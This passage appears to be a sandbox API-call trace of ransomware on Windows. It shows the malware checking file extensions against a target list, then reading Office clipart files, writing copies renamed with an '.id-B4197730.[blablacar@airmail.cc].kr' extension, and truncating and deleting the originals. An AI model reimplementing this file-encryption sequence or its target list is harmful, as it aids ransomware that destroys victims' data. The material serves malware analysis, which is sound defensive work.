(lpString1=".dbf", lpString2=".WMF") returned -1 [0188.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.654] lstrlenW (lpString=".1cd") returned 4 [0188.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.654] lstrlenW (lpString=".jpg") returned 4 [0188.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.655] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.655] lstrlenW (lpString="DD01180_.WMF") returned 12 [0188.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.913] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2084) returned 1 [0188.913] CloseHandle (hObject=0x4d4) returned 1 [0188.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0188.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.914] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.914] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0188.915] GetLastError () returned 0x0 [0188.915] ReadFile (in: hFile=0x4d4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x824, lpOverlapped=0x0) returned 1 [0188.916] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x830, lpOverlapped=0x0) returned 1 [0188.919] ReadFile (in: hFile=0x4d4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.919] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.919] SetEndOfFile (hFile=0x450) returned 1 [0188.919] CloseHandle (hObject=0x450) returned 1 [0188.919] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.919] SetEndOfFile (hFile=0x4d4) returned 1 [0188.925] CloseHandle (hObject=0x4d4) returned 1 [0188.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0188.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.927] lstrlenW (lpString=".doc") returned 4 [0188.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.927] lstrlenW (lpString=".docx") returned 5 [0188.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.927] lstrlenW (lpString=".pdf") returned 4 [0188.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.927] lstrlenW (lpString=".xls") returned 4 [0188.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.927] lstrlenW (lpString=".xlsx") returned 5 [0188.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.927] lstrlenW (lpString=".ppt") returned 4 [0188.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.927] lstrlenW (lpString=".zip") returned 4 [0188.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.927] lstrlenW (lpString=".rar") returned 4 [0188.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.927] lstrlenW (lpString=".bz2") returned 4 [0188.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.927] lstrlenW (lpString=".7z") returned 3 [0188.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.927] lstrlenW (lpString=".dbf") returned 4 [0188.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.927] lstrlenW (lpString=".1cd") returned 4 [0188.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.927] lstrlenW (lpString=".jpg") returned 4 [0188.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.928] lstrlenW (lpString=".doc") returned 4 [0188.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString=".docx") returned 5 [0188.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.928] lstrlenW (lpString=".pdf") returned 4 [0188.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString=".xls") returned 4 [0188.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.928] lstrlenW (lpString=".xlsx") returned 5 [0188.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.928] lstrlenW (lpString=".ppt") returned 4 [0188.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.928] lstrlenW (lpString=".zip") returned 4 [0188.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.928] lstrlenW (lpString=".rar") returned 4 [0188.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString=".bz2") returned 4 [0188.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString=".7z") returned 3 [0188.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.928] lstrlenW (lpString=".dbf") returned 4 [0188.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.928] lstrlenW (lpString=".1cd") returned 4 [0188.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0188.928] lstrlenW (lpString=".jpg") returned 4 [0188.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.929] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.929] lstrlenW (lpString="DD01182_.WMF") returned 12 [0188.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.929] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2996) returned 1 [0188.929] CloseHandle (hObject=0x4d4) returned 1 [0188.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0188.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.930] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.930] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0188.931] GetLastError () returned 0x0 [0188.931] ReadFile (in: hFile=0x4d4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xbb4, lpOverlapped=0x0) returned 1 [0188.932] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xbc0, lpOverlapped=0x0) returned 1 [0188.933] ReadFile (in: hFile=0x4d4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.934] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.934] SetEndOfFile (hFile=0x450) returned 1 [0188.934] CloseHandle (hObject=0x450) returned 1 [0188.934] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.934] SetEndOfFile (hFile=0x4d4) returned 1 [0188.937] CloseHandle (hObject=0x4d4) returned 1 [0188.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0188.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.938] lstrlenW (lpString=".doc") returned 4 [0188.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.938] lstrlenW (lpString=".docx") returned 5 [0188.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.938] lstrlenW (lpString=".pdf") returned 4 [0188.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.938] lstrlenW (lpString=".xls") returned 4 [0188.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.938] lstrlenW (lpString=".xlsx") returned 5 [0188.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.938] lstrlenW (lpString=".ppt") returned 4 [0188.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.939] lstrlenW (lpString=".zip") returned 4 [0188.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.939] lstrlenW (lpString=".rar") returned 4 [0188.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.939] lstrlenW (lpString=".bz2") returned 4 [0188.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.939] lstrlenW (lpString=".7z") returned 3 [0188.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.939] lstrlenW (lpString=".dbf") returned 4 [0188.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.939] lstrlenW (lpString=".1cd") returned 4 [0188.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.939] lstrlenW (lpString=".jpg") returned 4 [0188.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.939] lstrlenW (lpString=".doc") returned 4 [0188.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.939] lstrlenW (lpString=".docx") returned 5 [0188.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.939] lstrlenW (lpString=".pdf") returned 4 [0188.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.939] lstrlenW (lpString=".xls") returned 4 [0188.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.939] lstrlenW (lpString=".xlsx") returned 5 [0188.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.940] lstrlenW (lpString=".ppt") returned 4 [0188.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.940] lstrlenW (lpString=".zip") returned 4 [0188.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.940] lstrlenW (lpString=".rar") returned 4 [0188.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.940] lstrlenW (lpString=".bz2") returned 4 [0188.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.940] lstrlenW (lpString=".7z") returned 3 [0188.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.940] lstrlenW (lpString=".dbf") returned 4 [0188.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.940] lstrlenW (lpString=".1cd") returned 4 [0188.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0188.940] lstrlenW (lpString=".jpg") returned 4 [0188.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.940] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.940] lstrlenW (lpString="DD01183_.WMF") returned 12 [0188.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.941] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2296) returned 1 [0188.941] CloseHandle (hObject=0x4d4) returned 1 [0188.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0188.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.941] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.942] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0188.942] GetLastError () returned 0x0 [0188.942] ReadFile (in: hFile=0x4d4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x8f8, lpOverlapped=0x0) returned 1 [0188.943] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x900, lpOverlapped=0x0) returned 1 [0188.944] ReadFile (in: hFile=0x4d4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.944] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.945] SetEndOfFile (hFile=0x450) returned 1 [0188.945] CloseHandle (hObject=0x450) returned 1 [0188.945] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.945] SetEndOfFile (hFile=0x4d4) returned 1 [0188.948] CloseHandle (hObject=0x4d4) returned 1 [0188.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0189.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.104] lstrlenW (lpString=".doc") returned 4 [0189.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.104] lstrlenW (lpString=".docx") returned 5 [0189.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.104] lstrlenW (lpString=".pdf") returned 4 [0189.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.104] lstrlenW (lpString=".xls") returned 4 [0189.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.104] lstrlenW (lpString=".xlsx") returned 5 [0189.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.104] lstrlenW (lpString=".ppt") returned 4 [0189.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.104] lstrlenW (lpString=".zip") returned 4 [0189.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.104] lstrlenW (lpString=".rar") returned 4 [0189.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.104] lstrlenW (lpString=".bz2") returned 4 [0189.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.104] lstrlenW (lpString=".7z") returned 3 [0189.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.105] lstrlenW (lpString=".dbf") returned 4 [0189.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.105] lstrlenW (lpString=".1cd") returned 4 [0189.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.105] lstrlenW (lpString=".jpg") returned 4 [0189.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.105] lstrlenW (lpString=".doc") returned 4 [0189.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.105] lstrlenW (lpString=".docx") returned 5 [0189.105] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.105] lstrlenW (lpString=".pdf") returned 4 [0189.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.105] lstrlenW (lpString=".xls") returned 4 [0189.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.105] lstrlenW (lpString=".xlsx") returned 5 [0189.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.105] lstrlenW (lpString=".ppt") returned 4 [0189.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.105] lstrlenW (lpString=".zip") returned 4 [0189.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.105] lstrlenW (lpString=".rar") returned 4 [0189.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.105] lstrlenW (lpString=".bz2") returned 4 [0189.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.105] lstrlenW (lpString=".7z") returned 3 [0189.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.106] lstrlenW (lpString=".dbf") returned 4 [0189.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.106] lstrlenW (lpString=".1cd") returned 4 [0189.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0189.106] lstrlenW 